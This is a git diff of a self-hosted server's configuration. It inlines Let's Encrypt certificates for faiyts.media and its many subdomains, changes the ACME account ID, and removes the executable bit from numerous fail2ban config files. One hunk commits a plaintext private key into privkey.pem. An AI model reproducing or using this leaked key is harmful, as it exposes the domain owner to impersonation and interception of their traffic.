+cy5tZWRpYYIUY291Y2hkYi5mYWl5dHMubWVkaWGCEWRhc2guZmFpeXRzLm1lZGlh +gg9kYi5mYWl5dHMubWVkaWGCEWVtYnkuZmFpeXRzLm1lZGlhggxmYWl5dHMubWVk +aWGCEWZpbmQuZmFpeXRzLm1lZGlhghFob21lLmZhaXl0cy5tZWRpYYIVamVsbHlm +aW4uZmFpeXRzLm1lZGlhghNsaXN0ZW4uZmFpeXRzLm1lZGlhghFsb2dzLmZhaXl0 +cy5tZWRpYYIRbWFpbC5mYWl5dHMubWVkaWGCFm1pbmVjcmFmdC5mYWl5dHMubWVk +aWGCE21vdmllcy5mYWl5dHMubWVkaWGCEm11c2ljLmZhaXl0cy5tZWRpYYISbm90 +ZXMuZmFpeXRzLm1lZGlhghVwYWx3b3JsZC5mYWl5dHMubWVkaWGCEXBsZXguZmFp +eXRzLm1lZGlhghJwcm93bC5mYWl5dHMubWVkaWGCEXJlYWQuZmFpeXRzLm1lZGlh +ghRyZWNpcGVzLmZhaXl0cy5tZWRpYYIUcmVxdWVzdC5mYWl5dHMubWVkaWGCE3Jv +dXRlci5mYWl5dHMubWVkaWGCFnN1YnRpdGxlcy5mYWl5dHMubWVkaWGCEXN5bmMu +ZmFpeXRzLm1lZGlhghV0ZXJyYXJpYS5mYWl5dHMubWVkaWGCFHRvcnJlbnQuZmFp +eXRzLm1lZGlhghZ0cmFuc2NvZGUuZmFpeXRzLm1lZGlhghF0dWJlLmZhaXl0cy5t +ZWRpYYIPdHYuZmFpeXRzLm1lZGlhghN1c2VuZXQuZmFpeXRzLm1lZGlhghB2cG4u +ZmFpeXRzLm1lZGlhghN3YXJkZW4uZmFpeXRzLm1lZGlhghJ3YXRjaC5mYWl5dHMu +bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEE +BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDf4VbrqgWvtZwPhnGNqMAyTq5W2W6n9aVq +AdHBO75SXAAAAY/VFoCKAAAEAwBHMEUCIBnxeMswF2k+6SY4AGn91bAwt/5fUzcV +cIS890B629AHAiEAlTBEQ8wMmUjdKCi3Br31NqrfRuSefxPhnW8nAPG/5EEAdgA/ +F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvBvyiF7PhkbgAAAY/VFoeeAAAEAwBHMEUC +IQDXFaN/bRHs1iklBZPh8JIeo2KlH3qwZXW1sdsWY6g9pgIgcro17/yZwLhWkIlz +cTuwwwHUntnvyp8AfP4Vr2gLAtswDQYJKoZIhvcNAQELBQADggEBACVqu7kZnZp1 +QFtRbhHSpU5gxCT5WRbgZsrLjZqVAzgOoJFvTTYvwWSCbYe6a33ieU/H9tacphnU +phWybA8sgHNvjqa4B1u9igXJSJcVt8fMKtXVIlNL7P/PIEbOfo3dWsaeIl0oIlN9 +JgSXMMU2BaMpgckXDBbDsN4hNBQCuWjHPRZ0aOEUZszA6HT8tET3s6JHvQ82nDlx +7X9mSr0822X0xAlXz/MvC3oZMOVOQlKrwMcYY2976xWkKpgmJCVFvWQQOZoGQl1F +YyZdXd/wYqzAbb3iqCNiuDrlYa4Oa+UeuzvM4fLAcg5m3QcmRdM2pLCAJ0xRrytD +27xtrdqbfIQ= +-----END CERTIFICATE----- diff --git a/etc/letsencrypt/live/faiyts.media/chain.pem b/etc/letsencrypt/live/faiyts.media/chain.pem index d48bec1..43b222a 120000 --- a/etc/letsencrypt/live/faiyts.media/chain.pem +++ b/etc/letsencrypt/live/faiyts.media/chain.pem @@ -1 +1,30 @@ -../../archive/faiyts.media/chain1.pem \ No newline at end of file +-----BEGIN CERTIFICATE----- +MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw +TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh +cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw +WhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg +RW5jcnlwdDELMAkGA1UEAxMCUjMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK +AoIBAQC7AhUozPaglNMPEuyNVZLD+ILxmaZ6QoinXSaqtSu5xUyxr45r+XXIo9cP +R5QUVTVXjJ6oojkZ9YI8QqlObvU7wy7bjcCwXPNZOOftz2nwWgsbvsCUJCWH+jdx +sxPnHKzhm+/b5DtFUkWWqcFTzjTIUu61ru2P3mBw4qVUq7ZtDpelQDRrK9O8Zutm +NHz6a4uPVymZ+DAXXbpyb/uBxa3Shlg9F8fnCbvxK/eG3MHacV3URuPMrSXBiLxg +Z3Vms/EY96Jc5lP/Ooi2R6X/ExjqmAl3P51T+c8B5fWmcBcUr2Ok/5mzk53cU6cG +/kiFHaFpriV1uxPMUgP17VGhi9sVAgMBAAGjggEIMIIBBDAOBgNVHQ8BAf8EBAMC +AYYwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMBIGA1UdEwEB/wQIMAYB +Af8CAQAwHQYDVR0OBBYEFBQusxe3WFbLrlAJQOYfr52LFMLGMB8GA1UdIwQYMBaA +FHm0WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw +AoYWaHR0cDovL3gxLmkubGVuY3Iub3JnLzAnBgNVHR8EIDAeMBygGqAYhhZodHRw +Oi8veDEuYy5sZW5jci5vcmcvMCIGA1UdIAQbMBkwCAYGZ4EMAQIBMA0GCysGAQQB +gt8TAQEBMA0GCSqGSIb3DQEBCwUAA4ICAQCFyk5HPqP3hUSFvNVneLKYY611TR6W +PTNlclQtgaDqw+34IL9fzLdwALduO/ZelN7kIJ+m74uyA+eitRY8kc607TkC53wl +ikfmZW4/RvTZ8M6UK+5UzhK8jCdLuMGYL6KvzXGRSgi3yLgjewQtCPkIVz6D2QQz +CkcheAmCJ8MqyJu5zlzyZMjAvnnAT45tRAxekrsu94sQ4egdRCnbWSDtY7kh+BIm +lJNXoB1lBMEKIq4QDUOXoRgffuDghje1WrG9ML+Hbisq/yFOGwXD9RiX8F6sw6W4 +avAuvDszue5L3sz85K+EC4Y/wFVDNvZo4TYXao6Z0f+lQKc0t8DQYzk1OXVu8rp2 +yJMC6alLbBfODALZvYH7n7do1AZls4I9d1P4jnkDrQoxB3UqQ9hVl3LEKQ73xF1O +yK5GhDDX8oVfGKF5u+decIsH4YaTw7mP3GFxJSqv3+0lUFJoi5Lc5da149p90Ids +hCExroL1+7mryIkXPeFM5TgO9r0rvZaBFOvV2z0gp35Z0+L4WPlbuEjN/lxPFin+ +HlUjr8gRsI3qfJOQFy/9rKIJR0Y/8Omwt/8oTWgy1mdeHmmjk7j1nYsvC9JSQ6Zv +MldlTTKB3zhThV1+XWYp6rjd5JW1zbVWEkLNxE7GJThEUG3szgBVGP7pSWTUTsqX +nLRbwHOoq7hHwg== +-----END CERTIFICATE----- diff --git a/etc/letsencrypt/live/faiyts.media/fullchain.pem b/etc/letsencrypt/live/faiyts.media/fullchain.pem index a183294..8f1d398 120000 --- a/etc/letsencrypt/live/faiyts.media/fullchain.pem +++ b/etc/letsencrypt/live/faiyts.media/fullchain.pem @@ -1 +1,72 @@ -../../archive/faiyts.media/fullchain1.pem \ No newline at end of file +-----BEGIN CERTIFICATE----- +MIIHVDCCBjygAwIBAgISBL7yenVveXz4q4ogtDwJeGB6MA0GCSqGSIb3DQEBCwUA +MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD +EwJSMzAeFw0yNDA2MDExNzM2MTJaFw0yNDA4MzAxNzM2MTFaMBcxFTATBgNVBAMT +DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMkwazTLlOJP +0U5UqGBTws+0L7eiMCXKLslfDwV/F+AxSFNPQbPkbauz+/yAiACNnSkfnldPFhM5 +qO1dYDPmGLGjggVIMIIFRDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB +BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLO9BWealFLA +NSzyUWckwZqdKH4NMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG +CCsGAQUFBwEBBEkwRzAhBggrBgEFBQcwAYYVaHR0cDovL3IzLm8ubGVuY3Iub3Jn +MCIGCCsGAQUFBzAChhZodHRwOi8vcjMuaS5sZW5jci5vcmcvMIIDTwYDVR0RBIID +RjCCA0KCEmFuaW1lLmZhaXl0cy5tZWRpYYIQYXBpLmZhaXl0cy5tZWRpYYISYmxv +Y2suZmFpeXRzLm1lZGlhghJib29rcy5mYWl5dHMubWVkaWGCFWNoYW5uZWxzLmZh +aXl0cy5tZWRpYYISY2xvdWQuZmFpeXRzLm1lZGlhghdjb250YWluZXJzLmZhaXl0 +cy5tZWRpYYIUY291Y2hkYi5mYWl5dHMubWVkaWGCEWRhc2guZmFpeXRzLm1lZGlh +gg9kYi5mYWl5dHMubWVkaWGCEWVtYnkuZmFpeXRzLm1lZGlhggxmYWl5dHMubWVk +aWGCEWZpbmQuZmFpeXRzLm1lZGlhghFob21lLmZhaXl0cy5tZWRpYYIVamVsbHlm +aW4uZmFpeXRzLm1lZGlhghNsaXN0ZW4uZmFpeXRzLm1lZGlhghFsb2dzLmZhaXl0 +cy5tZWRpYYIRbWFpbC5mYWl5dHMubWVkaWGCFm1pbmVjcmFmdC5mYWl5dHMubWVk +aWGCE21vdmllcy5mYWl5dHMubWVkaWGCEm11c2ljLmZhaXl0cy5tZWRpYYISbm90 +ZXMuZmFpeXRzLm1lZGlhghVwYWx3b3JsZC5mYWl5dHMubWVkaWGCEXBsZXguZmFp +eXRzLm1lZGlhghJwcm93bC5mYWl5dHMubWVkaWGCEXJlYWQuZmFpeXRzLm1lZGlh +ghRyZWNpcGVzLmZhaXl0cy5tZWRpYYIUcmVxdWVzdC5mYWl5dHMubWVkaWGCE3Jv +dXRlci5mYWl5dHMubWVkaWGCFnN1YnRpdGxlcy5mYWl5dHMubWVkaWGCEXN5bmMu +ZmFpeXRzLm1lZGlhghV0ZXJyYXJpYS5mYWl5dHMubWVkaWGCFHRvcnJlbnQuZmFp +eXRzLm1lZGlhghZ0cmFuc2NvZGUuZmFpeXRzLm1lZGlhghF0dWJlLmZhaXl0cy5t +ZWRpYYIPdHYuZmFpeXRzLm1lZGlhghN1c2VuZXQuZmFpeXRzLm1lZGlhghB2cG4u +ZmFpeXRzLm1lZGlhghN3YXJkZW4uZmFpeXRzLm1lZGlhghJ3YXRjaC5mYWl5dHMu +bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEE +BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDf4VbrqgWvtZwPhnGNqMAyTq5W2W6n9aVq +AdHBO75SXAAAAY/VFoCKAAAEAwBHMEUCIBnxeMswF2k+6SY4AGn91bAwt/5fUzcV +cIS890B629AHAiEAlTBEQ8wMmUjdKCi3Br31NqrfRuSefxPhnW8nAPG/5EEAdgA/ +F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvBvyiF7PhkbgAAAY/VFoeeAAAEAwBHMEUC +IQDXFaN/bRHs1iklBZPh8JIeo2KlH3qwZXW1sdsWY6g9pgIgcro17/yZwLhWkIlz +cTuwwwHUntnvyp8AfP4Vr2gLAtswDQYJKoZIhvcNAQELBQADggEBACVqu7kZnZp1 +QFtRbhHSpU5gxCT5WRbgZsrLjZqVAzgOoJFvTTYvwWSCbYe6a33ieU/H9tacphnU +phWybA8sgHNvjqa4B1u9igXJSJcVt8fMKtXVIlNL7P/PIEbOfo3dWsaeIl0oIlN9 +JgSXMMU2BaMpgckXDBbDsN4hNBQCuWjHPRZ0aOEUZszA6HT8tET3s6JHvQ82nDlx +7X9mSr0822X0xAlXz/MvC3oZMOVOQlKrwMcYY2976xWkKpgmJCVFvWQQOZoGQl1F +YyZdXd/wYqzAbb3iqCNiuDrlYa4Oa+UeuzvM4fLAcg5m3QcmRdM2pLCAJ0xRrytD +27xtrdqbfIQ= +-----END CERTIFICATE----- +-----BEGIN CERTIFICATE----- +MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw +TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh +cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw +WhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg +RW5jcnlwdDELMAkGA1UEAxMCUjMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK +AoIBAQC7AhUozPaglNMPEuyNVZLD+ILxmaZ6QoinXSaqtSu5xUyxr45r+XXIo9cP +R5QUVTVXjJ6oojkZ9YI8QqlObvU7wy7bjcCwXPNZOOftz2nwWgsbvsCUJCWH+jdx +sxPnHKzhm+/b5DtFUkWWqcFTzjTIUu61ru2P3mBw4qVUq7ZtDpelQDRrK9O8Zutm +NHz6a4uPVymZ+DAXXbpyb/uBxa3Shlg9F8fnCbvxK/eG3MHacV3URuPMrSXBiLxg +Z3Vms/EY96Jc5lP/Ooi2R6X/ExjqmAl3P51T+c8B5fWmcBcUr2Ok/5mzk53cU6cG +/kiFHaFpriV1uxPMUgP17VGhi9sVAgMBAAGjggEIMIIBBDAOBgNVHQ8BAf8EBAMC +AYYwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMBIGA1UdEwEB/wQIMAYB +Af8CAQAwHQYDVR0OBBYEFBQusxe3WFbLrlAJQOYfr52LFMLGMB8GA1UdIwQYMBaA +FHm0WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw +AoYWaHR0cDovL3gxLmkubGVuY3Iub3JnLzAnBgNVHR8EIDAeMBygGqAYhhZodHRw +Oi8veDEuYy5sZW5jci5vcmcvMCIGA1UdIAQbMBkwCAYGZ4EMAQIBMA0GCysGAQQB +gt8TAQEBMA0GCSqGSIb3DQEBCwUAA4ICAQCFyk5HPqP3hUSFvNVneLKYY611TR6W +PTNlclQtgaDqw+34IL9fzLdwALduO/ZelN7kIJ+m74uyA+eitRY8kc607TkC53wl +ikfmZW4/RvTZ8M6UK+5UzhK8jCdLuMGYL6KvzXGRSgi3yLgjewQtCPkIVz6D2QQz +CkcheAmCJ8MqyJu5zlzyZMjAvnnAT45tRAxekrsu94sQ4egdRCnbWSDtY7kh+BIm +lJNXoB1lBMEKIq4QDUOXoRgffuDghje1WrG9ML+Hbisq/yFOGwXD9RiX8F6sw6W4 +avAuvDszue5L3sz85K+EC4Y/wFVDNvZo4TYXao6Z0f+lQKc0t8DQYzk1OXVu8rp2 +yJMC6alLbBfODALZvYH7n7do1AZls4I9d1P4jnkDrQoxB3UqQ9hVl3LEKQ73xF1O +yK5GhDDX8oVfGKF5u+decIsH4YaTw7mP3GFxJSqv3+0lUFJoi5Lc5da149p90Ids +hCExroL1+7mryIkXPeFM5TgO9r0rvZaBFOvV2z0gp35Z0+L4WPlbuEjN/lxPFin+ +HlUjr8gRsI3qfJOQFy/9rKIJR0Y/8Omwt/8oTWgy1mdeHmmjk7j1nYsvC9JSQ6Zv +MldlTTKB3zhThV1+XWYp6rjd5JW1zbVWEkLNxE7GJThEUG3szgBVGP7pSWTUTsqX +nLRbwHOoq7hHwg== +-----END CERTIFICATE----- diff --git a/etc/letsencrypt/live/faiyts.media/privkey.pem b/etc/letsencrypt/live/faiyts.media/privkey.pem index 4471d56..b2caefc 120000 --- a/etc/letsencrypt/live/faiyts.media/privkey.pem +++ b/etc/letsencrypt/live/faiyts.media/privkey.pem @@ -1 +1,5 @@ -../../archive/faiyts.media/privkey1.pem \ No newline at end of file +-----BEGIN PRIVATE KEY----- +MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgFdNVDMVHpf/mJk5H +WwYLr46VVDI+gjmcQPhzY/r4MrahRANCAATJMGs0y5TiT9FOVKhgU8LPtC+3ojAl +yi7JXw8FfxfgMUhTT0Gz5G2rs/v8gIgAjZ0pH55XTxYTOajtXWAz5hix +-----END PRIVATE KEY----- diff --git a/etc/letsencrypt/live/faiyts.media/privkey.pfx b/etc/letsencrypt/live/faiyts.media/privkey.pfx deleted file mode 100644 index b29b509..0000000 Binary files a/etc/letsencrypt/live/faiyts.media/privkey.pfx and /dev/null differ diff --git a/etc/letsencrypt/renewal-hooks/deploy/10-default b/etc/letsencrypt/renewal-hooks/deploy/10-default old mode 100755 new mode 100644 diff --git a/etc/letsencrypt/renewal-hooks/post/10-nginx b/etc/letsencrypt/renewal-hooks/post/10-nginx old mode 100755 new mode 100644 diff --git a/etc/letsencrypt/renewal-hooks/pre/10-nginx b/etc/letsencrypt/renewal-hooks/pre/10-nginx old mode 100755 new mode 100644 diff --git a/etc/letsencrypt/renewal/faiyts.media.conf b/etc/letsencrypt/renewal/faiyts.media.conf index 99f7b58..400565a 100644 --- a/etc/letsencrypt/renewal/faiyts.media.conf +++ b/etc/letsencrypt/renewal/faiyts.media.conf @@ -8,7 +8,7 @@ fullchain = /etc/letsencrypt/live/faiyts.media/fullchain.pem # Options used in the renewal process [renewalparams] -account = 185cdb7eee3be59781912e679caf361a +account = 293b7409b0b93d5e5dc47382711d7da6 pref_challs = dns-01, server = https://acme-v02.api.letsencrypt.org/directory authenticator = dns-digitalocean diff --git a/fail2ban/action.d/abuseipdb.conf b/fail2ban/action.d/abuseipdb.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/apf.conf b/fail2ban/action.d/apf.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/apprise.conf b/fail2ban/action.d/apprise.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/badips.conf b/fail2ban/action.d/badips.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/badips.py b/fail2ban/action.d/badips.py old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/blocklist_de.conf b/fail2ban/action.d/blocklist_de.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/bsd-ipfw.conf b/fail2ban/action.d/bsd-ipfw.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/cloudflare-token.conf b/fail2ban/action.d/cloudflare-token.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/cloudflare.conf b/fail2ban/action.d/cloudflare.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/complain.conf b/fail2ban/action.d/complain.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/dshield.conf b/fail2ban/action.d/dshield.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/dummy.conf b/fail2ban/action.d/dummy.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/firewallcmd-allports.conf b/fail2ban/action.d/firewallcmd-allports.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/firewallcmd-common.conf b/fail2ban/action.d/firewallcmd-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/firewallcmd-ipset.conf b/fail2ban/action.d/firewallcmd-ipset.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/firewallcmd-multiport.conf b/fail2ban/action.d/firewallcmd-multiport.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/firewallcmd-new.conf b/fail2ban/action.d/firewallcmd-new.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/firewallcmd-rich-logging.conf b/fail2ban/action.d/firewallcmd-rich-logging.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/firewallcmd-rich-rules.conf b/fail2ban/action.d/firewallcmd-rich-rules.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/helpers-common.conf b/fail2ban/action.d/helpers-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/hostsdeny.conf b/fail2ban/action.d/hostsdeny.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/ipfilter.conf b/fail2ban/action.d/ipfilter.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/ipfw.conf b/fail2ban/action.d/ipfw.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-allports.conf b/fail2ban/action.d/iptables-allports.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-common.conf b/fail2ban/action.d/iptables-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-ipset-proto4.conf b/fail2ban/action.d/iptables-ipset-proto4.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-ipset-proto6-allports.conf b/fail2ban/action.d/iptables-ipset-proto6-allports.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-ipset-proto6.conf b/fail2ban/action.d/iptables-ipset-proto6.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-ipset.conf b/fail2ban/action.d/iptables-ipset.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-multiport-log.conf b/fail2ban/action.d/iptables-multiport-log.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-multiport.conf b/fail2ban/action.d/iptables-multiport.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-new.conf b/fail2ban/action.d/iptables-new.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables-xt_recent-echo.conf b/fail2ban/action.d/iptables-xt_recent-echo.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/iptables.conf b/fail2ban/action.d/iptables.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/ipthreat.conf b/fail2ban/action.d/ipthreat.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/mail-buffered.conf b/fail2ban/action.d/mail-buffered.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/mail-whois-common.conf b/fail2ban/action.d/mail-whois-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/mail-whois-lines.conf b/fail2ban/action.d/mail-whois-lines.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/mail-whois.conf b/fail2ban/action.d/mail-whois.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/mail.conf b/fail2ban/action.d/mail.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/mynetwatchman.conf b/fail2ban/action.d/mynetwatchman.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/netscaler.conf b/fail2ban/action.d/netscaler.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/nftables-allports.conf b/fail2ban/action.d/nftables-allports.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/nftables-multiport.conf b/fail2ban/action.d/nftables-multiport.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/nftables.conf b/fail2ban/action.d/nftables.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/nginx-block-map.conf b/fail2ban/action.d/nginx-block-map.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/npf.conf b/fail2ban/action.d/npf.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/nsupdate.conf b/fail2ban/action.d/nsupdate.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/osx-afctl.conf b/fail2ban/action.d/osx-afctl.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/osx-ipfw.conf b/fail2ban/action.d/osx-ipfw.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/pf.conf b/fail2ban/action.d/pf.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/route.conf b/fail2ban/action.d/route.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail-buffered.conf b/fail2ban/action.d/sendmail-buffered.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail-common.conf b/fail2ban/action.d/sendmail-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail-geoip-lines.conf b/fail2ban/action.d/sendmail-geoip-lines.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail-whois-ipjailmatches.conf b/fail2ban/action.d/sendmail-whois-ipjailmatches.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail-whois-ipmatches.conf b/fail2ban/action.d/sendmail-whois-ipmatches.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail-whois-lines.conf b/fail2ban/action.d/sendmail-whois-lines.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail-whois-matches.conf b/fail2ban/action.d/sendmail-whois-matches.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail-whois.conf b/fail2ban/action.d/sendmail-whois.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/sendmail.conf b/fail2ban/action.d/sendmail.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/shorewall-ipset-proto6.conf b/fail2ban/action.d/shorewall-ipset-proto6.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/shorewall.conf b/fail2ban/action.d/shorewall.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/smtp.py b/fail2ban/action.d/smtp.py old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/symbiosis-blacklist-allports.conf b/fail2ban/action.d/symbiosis-blacklist-allports.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/ufw.conf b/fail2ban/action.d/ufw.conf old mode 100755 new mode 100644 diff --git a/fail2ban/action.d/xarf-login-attack.conf b/fail2ban/action.d/xarf-login-attack.conf old mode 100755 new mode 100644 diff --git a/fail2ban/fail2ban.sqlite3 b/fail2ban/fail2ban.sqlite3 old mode 100755 new mode 100644 index d1d531e..1b6b8f2 Binary files a/fail2ban/fail2ban.sqlite3 and b/fail2ban/fail2ban.sqlite3 differ diff --git a/fail2ban/filter.d/3proxy.conf b/fail2ban/filter.d/3proxy.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/alpine-sshd-ddos.conf b/fail2ban/filter.d/alpine-sshd-ddos.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/alpine-sshd.conf b/fail2ban/filter.d/alpine-sshd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-auth.conf b/fail2ban/filter.d/apache-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-badbots.conf b/fail2ban/filter.d/apache-badbots.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-botsearch.conf b/fail2ban/filter.d/apache-botsearch.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-common.conf b/fail2ban/filter.d/apache-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-fakegooglebot.conf b/fail2ban/filter.d/apache-fakegooglebot.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-modsecurity.conf b/fail2ban/filter.d/apache-modsecurity.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-nohome.conf b/fail2ban/filter.d/apache-nohome.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-noscript.conf b/fail2ban/filter.d/apache-noscript.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-overflows.conf b/fail2ban/filter.d/apache-overflows.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-pass.conf b/fail2ban/filter.d/apache-pass.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/apache-shellshock.conf b/fail2ban/filter.d/apache-shellshock.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/assp.conf b/fail2ban/filter.d/assp.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/asterisk.conf b/fail2ban/filter.d/asterisk.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/bitwarden.conf b/fail2ban/filter.d/bitwarden.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/botsearch-common.conf b/fail2ban/filter.d/botsearch-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/centreon.conf b/fail2ban/filter.d/centreon.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/common.conf b/fail2ban/filter.d/common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/counter-strike.conf b/fail2ban/filter.d/counter-strike.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/courier-auth.conf b/fail2ban/filter.d/courier-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/courier-smtp.conf b/fail2ban/filter.d/courier-smtp.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/cyrus-imap.conf b/fail2ban/filter.d/cyrus-imap.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/directadmin.conf b/fail2ban/filter.d/directadmin.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/domino-smtp.conf b/fail2ban/filter.d/domino-smtp.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/dovecot.conf b/fail2ban/filter.d/dovecot.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/dropbear.conf b/fail2ban/filter.d/dropbear.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/drupal-auth.conf b/fail2ban/filter.d/drupal-auth.conf old mode 100755 new mode 100644 diff --git 